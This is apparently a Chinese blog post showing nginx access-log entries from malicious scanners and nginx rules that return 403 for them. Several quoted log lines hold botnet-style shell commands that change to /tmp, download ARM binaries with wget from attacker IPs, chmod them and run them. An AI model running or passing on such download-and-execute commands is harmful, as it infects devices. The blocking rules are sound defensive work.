linux恶意请求 - 技术栈

nginx访问日志：

复制代码

162.243.135.29 - - [05/Jan/2024:00:12:07 +0800] "GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1" 404 153 "-" "Mozilla/5.0 zgrab/0.x"

107.151.182.54 - - [04/Mar/2024:11:30:06 +0800] "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"

5.189.156.66 - - [17/Jun/2024:05:37:42 +0800] "GET /shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;nohup+wget+http:/\x5C/45.148.120.144/

107.151.182.62 - - [05/Aug/2024:18:07:14 +0800] "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"

41.142.215.70 - - [06/Aug/2024:02:43:27 +0800] "GET /shell20211028.php HTTP/1.1" 404 555 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"

172.168.40.186 - - [08/Aug/2024:20:30:16 +0800] "GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1" 404 153 "-" "Mozilla/5.0 zgrab/0.x"

185.224.128.83 - - [11/Aug/2024:00:09:00 +0800] "GET /shell?cd+/tmp;rm+earm+earm5+earm7;nohup+wget+http:/\x5C/154.216.18.103/earm7;chmod+777+earm7;./earm7+jaws;nohup+wget+http:/\x5C/154.216.18.103/earm5;chmod+777+earm5;./earm5+jaws;nohup+wget+http:/\x5C/154.216.18.103/earm;chmod+777+earm;./earm+jaws HTTP/1.1" 301 169 "-" "KrebsOnSecurity"

# nginx配置文件增加
# 详见：https://blog.csdn.net/weixin_46084533/article/details/140662309

location / {
    if ( $arg_cd ) {
        return 403;
    }
}



# 如果上述无效，增加下面配置
# 处理以/autodiscover/autodiscover、/sitecore/shell/sitecore、/shell开头请求
location ~* /(autodiscover/autodiscover|sitecore/shell/sitecore|shell) {
    return 403;
}

# 或者，仅处理/shell?cd、/shell?kill、/shell?killall请求
location ~* /shell {
    if ( $query_string ~* (cd|kill|killall) ) {
        return 403;
    }
}

Linux阻止恶意请求：如何阻止以下访问： "GET /shell?cd+/tmp；rm+arm+arm7；nohup+wget+http:/\/147.78.103.44/arm7；chmod+77_nginx 访问记录中shell cd开头的记录-CSDN博客

KrebsOnSecurity

复制代码

# nginx配置文件增加
# 详见：https://blog.csdn.net/sunsharer/article/details/140776698

location / {
    if ( $http_user_agent ~* KrebsOnSecurity ) {
        return 403;
    }
}

远程代码执行（Remote Code Execution, RCE）攻击案例分析与应对策略-CSDN博客